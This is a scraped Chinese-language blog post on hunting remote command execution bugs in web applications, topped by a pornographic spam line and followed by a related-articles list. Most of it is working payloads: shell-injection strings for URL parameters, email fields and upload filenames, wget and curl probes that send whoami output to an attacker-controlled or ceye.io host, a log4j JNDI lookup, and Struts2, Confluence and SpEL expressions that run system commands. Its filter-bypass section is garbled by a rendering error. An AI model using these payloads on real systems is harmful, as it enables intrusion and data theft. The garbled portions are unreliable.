国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

這篇具有很好參考價(jià)值的文章主要介紹了RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

RCE漏洞可能出現(xiàn)在哪些地方?

1.URL上

url參數(shù)上,不僅僅可能存在ssrf漏洞,也有很大概率存在命令執(zhí)行,很大可能調(diào)用系統(tǒng)命令如curl。

payload例子:

index.php?id=2;}phpinfo();/*

ttp://www.xxx.com/cmd.php?cmd=phpinfo()

比如訪問(wèn)到如下URL,在jsp后面嘗試加參數(shù),比如path(什么參數(shù)需要試)

?RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-427924.html


http://x.x.x.x:28076/file/dirFiles.jsp?path=

發(fā)現(xiàn)show.jsp存在任意文件讀取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

最初想通過(guò)添加雙引號(hào)閉合if條件判斷參數(shù)注入命令,沒(méi)有成功。

payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;

經(jīng)過(guò)多次測(cè)試,最終可用反引號(hào)``或者$()進(jìn)行命令執(zhí)行,如`ifconfig`:

payload:"`ifconfig |xargs`"

命令結(jié)果的回顯是因?yàn)榕袛嗖淮嬖贔ILA_PATH文件名的文件后,會(huì)把變量值返回

echo "the file($FILE_PATH) dose not exist!"

拓展知識(shí):Linuxbash中可以使用反引號(hào)``、$()等方式將bash命令的執(zhí)行結(jié)果保存到變量中,如a=$(ifconfig):

2.所有變量:所有變量/提交的數(shù)據(jù)都要嘗試

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

測(cè)試payload:

& 不管前后命令是否執(zhí)行成功都會(huì)執(zhí)行前后命令
&& 具有短路效果。 前面的命令執(zhí)行成功才能執(zhí)行后面的命令
| 管道符, 上一條命令的輸出,作為下一條命令參數(shù)(輸入) 。在拼接時(shí),無(wú)論左邊是false還是true,右邊都會(huì)執(zhí)行
|| 具有短路效果。 前面的命令執(zhí)行不成功才能執(zhí)行后面的命令

payload例子

ping 127.0.0.1&ipconfig #在linux系統(tǒng)里是幾乎同時(shí)執(zhí)行

ping 127.0.0.1 && ipconfig #在linux系統(tǒng)里執(zhí)行完前面再去執(zhí)行后面

ping 127.0.0.1 &;& ipconfig #其中**;**會(huì)被解析為空

ping 127.0.0.1 || ipconfig #在linux中兩個(gè)**||** = or

ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一個(gè)命令執(zhí)行的結(jié)果給后面的命令執(zhí)行
?

再測(cè)試SSRF的地方嘗試測(cè)試命令執(zhí)行

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

文件下載處就很大概率會(huì)調(diào)用wget!在查看圖片,查看文件等地方可能會(huì)使用cat命令等,在文件刪除上,我們可能會(huì)用到rm命令!
嘗試在url,xxxurl等參數(shù)下測(cè)試命令執(zhí)行
如輸入http://服務(wù)器ip/ 采用nc監(jiān)聽探測(cè)是否訪問(wèn)。
嘗試 輸入http://?sleep 5.服務(wù)器地址/ 出現(xiàn)延遲就說(shuō)明存在注入
嘗試輸入 http://服務(wù)器地址/$(whoami)
嘗試輸入http://whoami.服務(wù)器地址
現(xiàn)在搭建網(wǎng)站多以linux做網(wǎng)站服務(wù)器,以linux為例子講解:
作為曾經(jīng)寫過(guò)一段時(shí)間業(yè)務(wù)代碼的我來(lái)說(shuō),在挖掘命令執(zhí)行漏洞時(shí),我經(jīng)常思考,哪些地方更有可能存在命令執(zhí)行漏洞呢?
網(wǎng)站郵箱注冊(cè),填寫郵箱,郵箱驗(yàn)證處,是否可能存在第三方接口的調(diào)用

?payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”

3.所有頭:cookie的變量

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

4.文件上傳處:存在問(wèn)題參數(shù)filename

完整數(shù)據(jù)包:
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
發(fā)包響應(yīng):

RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路

列出所有系統(tǒng)路徑。他這里fuzz的技巧很好,一般我們測(cè)試命令注入都是|payload亦或是&payload,亦或是;payload,他這里把三種測(cè)試方法都?xì)w到一塊變成: ;payload|payload&payload
payload可以是直接回顯的set或者是ls等參數(shù),也可以是遠(yuǎn)程curl,wget探測(cè)!
凡是name,filename等參數(shù)是很容易爆發(fā)出命令執(zhí)行漏洞的,這些參數(shù)是我們fuzz中重點(diǎn)的關(guān)照對(duì)象。我們一定要對(duì)這些點(diǎn)進(jìn)行多測(cè)試!

?逐個(gè)變量刪除:篩選出服務(wù)器對(duì)哪些變量進(jìn)行處理

小總結(jié):

Window下||和&
linux下||和&
Linux下過(guò)濾空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的測(cè)試: \?u?000awget\u0020 …(whoami)
curl http://服務(wù)器地址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't(whoami∣base64)′w′g′e′t{IFS}服務(wù)器地址
Windows下rce探測(cè):
ping %USERNAME%.服務(wù)器地址
for /F %x in (‘whoami’) do start http://服務(wù)器地址/%x(獲取計(jì)算機(jī)名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服務(wù)器地址(獲取用戶名)
測(cè)試郵箱:wget%209服務(wù)器地址/xxxx@qq.com
測(cè)試上傳:sleep 10filename
測(cè)試filenname:||wget%20服務(wù)器地址
測(cè)試上傳處下的名稱: ;payload|payload&payload

各語(yǔ)言RCE的危險(xiǎn)函數(shù)

1、PHP
assert
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command)

5.框架和中間件已曝光漏洞

以JAVA舉例:

rmi ?遠(yuǎn)程通信協(xié)議 一種機(jī)制,可以在相同計(jì)算機(jī)的不同進(jìn)程或者不同計(jì)算機(jī)的進(jìn)程,rmi傳輸是通過(guò)序列化方式進(jìn)行傳輸?shù)模瑀mi在接收經(jīng)過(guò)序列化的對(duì)象(字節(jié)流)會(huì)進(jìn)行反序列化。


jndi:是應(yīng)用程序命令接口,會(huì)加載實(shí)例對(duì)象,還可以訪問(wèn)現(xiàn)有的目錄和服務(wù)。一般是命令執(zhí)行注入漏洞,反序列化漏洞也會(huì)關(guān)聯(lián)到。


LDAP:是一個(gè)訪問(wèn)在線目錄服務(wù)的協(xié)議,比如log4j2遠(yuǎn)程代碼執(zhí)行漏洞,可以使用相關(guān)的dnslog平臺(tái)查看,在dnslog平臺(tái)獲得臨時(shí)域名,漏洞處輸入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回顯,說(shuō)明存在該漏洞。jndi注入的地方可以找url或抓包請(qǐng)求頭比如X-Api-Version


ognl(對(duì)象圖導(dǎo)航語(yǔ)言),它是struts2框架里面的第三方語(yǔ)言(即可以再別的地方用,struts2只是拿過(guò)來(lái)了而已),它可以調(diào)用對(duì)象中的方法,參考https://www.cnblogs.com/ends-earth/p/10714068.html 不僅可以執(zhí)行簡(jiǎn)單計(jì)算(首先生成一個(gè)ongl上下文,context),ongl還可以對(duì)類和對(duì)象進(jìn)行操作。通過(guò)context來(lái)put的對(duì)象都會(huì)放入value屬性中,穿進(jìn)去的字符串就是該屬性中的key,通過(guò)#key的形式來(lái)指定對(duì)象,也可以修改屬性值和方法。有了這些基礎(chǔ)我們就可以來(lái)構(gòu)造ognl表達(dá)式來(lái)執(zhí)行我們的命令
struts2的ognl表達(dá)式注入漏洞,原理就是對(duì)用戶的參數(shù)沒(méi)有進(jìn)行過(guò)濾,導(dǎo)致惡意參數(shù)直接傳入到ognl的方法中命令執(zhí)行。paylaod:${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

比如 Atlassian Confluence 遠(yuǎn)程代碼執(zhí)行漏洞。payload:${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


SpEL全稱是Spring Expression Language是一種強(qiáng)大的表達(dá)式語(yǔ)言。在Spring產(chǎn)品組合中,它是表達(dá)式計(jì)算的基礎(chǔ)。它支持在運(yùn)行時(shí)查詢和操作對(duì)象圖,它可以與基于XML和基于注解的Spring配置還有bean定義一起使用。由于它能夠在運(yùn)行時(shí)動(dòng)態(tài)分配值,因此可以為我們節(jié)省大量Java代碼。
SpEL使用 #{…} 作為定界符,所有在大括號(hào)中的字符都將被認(rèn)為是 SpEL表達(dá)式,我們可以在其中使用運(yùn)算符,變量以及引用bean,屬性和方法。spel表達(dá)式注入漏洞,將輸入的參數(shù)直接當(dāng)作表達(dá)式解析的參數(shù),在解析過(guò)程中將造成命令執(zhí)行。
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}

比如Spring Cloud Gateway 遠(yuǎn)程代碼執(zhí)行漏洞
?

?

到了這里,關(guān)于RCE遠(yuǎn)程命令執(zhí)行漏洞挖掘思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • RCE 遠(yuǎn)程代碼執(zhí)行漏洞分析

    RCE 遠(yuǎn)程代碼執(zhí)行漏洞分析

    Remote Command/Code Execute 遠(yuǎn)程命令執(zhí)行/遠(yuǎn)程代碼執(zhí)行漏洞 這種漏洞通常出現(xiàn)在應(yīng)用程序或操作系統(tǒng)中,攻擊者可以通過(guò)利用漏洞注入惡意代碼,并在受攻擊的系統(tǒng)上執(zhí)行任意命令。 PHP 代碼執(zhí)行 PHP 代碼注入 OS 命令執(zhí)行 OS 命令注入 Java、Python…… Web 應(yīng)用程序 遠(yuǎn)程服務(wù) 操作系統(tǒng)

    2024年02月08日
    瀏覽(30)
  • RCE代碼執(zhí)行漏和命令執(zhí)行漏洞

    RCE代碼執(zhí)行漏和命令執(zhí)行漏洞

    前置知識(shí): 漏洞檢測(cè): 在了解漏洞概念前,應(yīng)該先知道一下這個(gè)漏洞如何檢測(cè)的,我們應(yīng)該或多或少聽過(guò)白盒測(cè)試(白盒),黑盒測(cè)試(黑盒)。 白盒測(cè)試: 白盒測(cè)試是對(duì)源代碼和內(nèi)部結(jié)構(gòu)的測(cè)試,測(cè)試人員是可以知道內(nèi)部的邏輯和結(jié)構(gòu)的,差不多就是代碼審計(jì)。 黑盒測(cè)試:

    2024年02月19日
    瀏覽(30)
  • RCE代碼及命令執(zhí)行漏洞全解(30)

    RCE代碼及命令執(zhí)行漏洞全解(30)

    ?web應(yīng)用中,有時(shí)候程序員為了考慮靈活性,簡(jiǎn)潔性,會(huì)在代碼中調(diào)用代碼或執(zhí)行命令執(zhí)行函數(shù)去處理。 比如當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)時(shí),沒(méi)有考慮用戶是否能夠控制這些字符串,將代碼執(zhí)行漏洞,同樣調(diào)用系統(tǒng)命令處理,將造成命令執(zhí)行漏洞。 ?危害

    2024年02月07日
    瀏覽(20)
  • Thinkphp5.0.23 rce(遠(yuǎn)程代碼執(zhí)行)的漏洞復(fù)現(xiàn)

    Thinkphp5.0.23 rce(遠(yuǎn)程代碼執(zhí)行)的漏洞復(fù)現(xiàn)

    框架介紹: ThinkPHP是一款運(yùn)用極廣的PHP開發(fā)框架。 漏洞引入: 其5.0.23以前的版本中,獲取method的方法中沒(méi)有正確處理方法名,導(dǎo)致攻擊者可以調(diào)用Request類任意方法并構(gòu)造利用鏈,從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。 1、訪問(wèn)靶機(jī)地址+端口號(hào) 進(jìn)入首頁(yè) 2、Burp抓包修改傳參方式為Po

    2024年02月06日
    瀏覽(26)
  • YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

    YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md

    這個(gè)是前幾個(gè)月的漏洞,之前爆出來(lái)發(fā)現(xiàn)沒(méi)人分析就看了一下,也寫了一片 Nosql注入的文章,最近生病在家,把這個(gè)寫一半的完善一下發(fā)出來(lái)吧。 YApi是一個(gè)可本地部署的、打通前后端及QA的、可視化的接口管理平臺(tái)。 YApi 是 高效 、 易用 、 功能強(qiáng)大 的 api 管理平臺(tái),旨在為

    2023年04月24日
    瀏覽(31)
  • 新的 Python URL 解析漏洞可能導(dǎo)致命令執(zhí)行攻擊

    新的 Python URL 解析漏洞可能導(dǎo)致命令執(zhí)行攻擊

    Python URL 解析函數(shù)中的一個(gè)高嚴(yán)重性安全漏洞已被披露,該漏洞可繞過(guò) blocklist 實(shí)現(xiàn)的域或協(xié)議過(guò)濾方法,導(dǎo)致任意文件讀取和命令執(zhí)行。 CERT 協(xié)調(diào)中心(CERT/CC)在周五的一份公告中說(shuō):當(dāng)整個(gè) URL 都以空白字符開頭時(shí),urlparse 就會(huì)出現(xiàn)解析問(wèn)題。\\\"這個(gè)問(wèn)題會(huì)影響主機(jī)名和方

    2024年02月12日
    瀏覽(26)
  • nginxWebUI 遠(yuǎn)程命令執(zhí)行漏洞

    nginxWebUI 遠(yuǎn)程命令執(zhí)行漏洞

    nginxWebUI是一款圖形化管理nginx配置的工具,能通過(guò)網(wǎng)頁(yè)快速配置nginx的各種功能,包括HTTP和TCP協(xié)議轉(zhuǎn)發(fā)、反向代理、負(fù)載均衡、靜態(tài)HTML服務(wù)器以及SSL證書的自動(dòng)申請(qǐng)、續(xù)簽和配置,配置完成后可以一鍵生成nginx.conf文件,并控制nginx使用此文件進(jìn)行啟動(dòng)和重載。nginxWebUI后臺(tái)提

    2024年02月11日
    瀏覽(20)
  • 【漏洞復(fù)現(xiàn)】銳捷 EWEB auth 遠(yuǎn)程命令執(zhí)行漏洞

    【漏洞復(fù)現(xiàn)】銳捷 EWEB auth 遠(yuǎn)程命令執(zhí)行漏洞

    免責(zé)聲明:文章來(lái)源互聯(lián)網(wǎng)收集整理,請(qǐng)勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測(cè)試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),所產(chǎn)生的一切不良后果與文章作者無(wú)關(guān)。該文章僅供學(xué)習(xí)用途使用。 ?? ? ? ? ? ?

    2024年03月12日
    瀏覽(15)
  • ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞

    ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞

    ThinkPHP是一個(gè)快速、兼容而且簡(jiǎn)單的輕量級(jí)國(guó)產(chǎn) PHP開發(fā)框架?,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協(xié)議發(fā)布,使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu)和 MVC模式 ,從Struts結(jié)構(gòu)移植過(guò)來(lái)并做了改進(jìn)和完善,同時(shí)也借鑒了國(guó)外很多優(yōu)秀的框架和模式。 由于th

    2024年02月11日
    瀏覽(25)
  • 漏洞復(fù)現(xiàn) - - -Struts2(s2-045)遠(yuǎn)程命令執(zhí)行漏洞

    漏洞復(fù)現(xiàn) - - -Struts2(s2-045)遠(yuǎn)程命令執(zhí)行漏洞

    Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,它本質(zhì)上相當(dāng)于一個(gè)servlet,在MVC設(shè)計(jì)模式中,Struts2作為控制器(Controller)來(lái)建立模型與視圖的數(shù)據(jù)交互。Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts 2框架。其全新的Struts 2的體系結(jié)構(gòu)與St

    2024年01月20日
    瀏覽(30)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包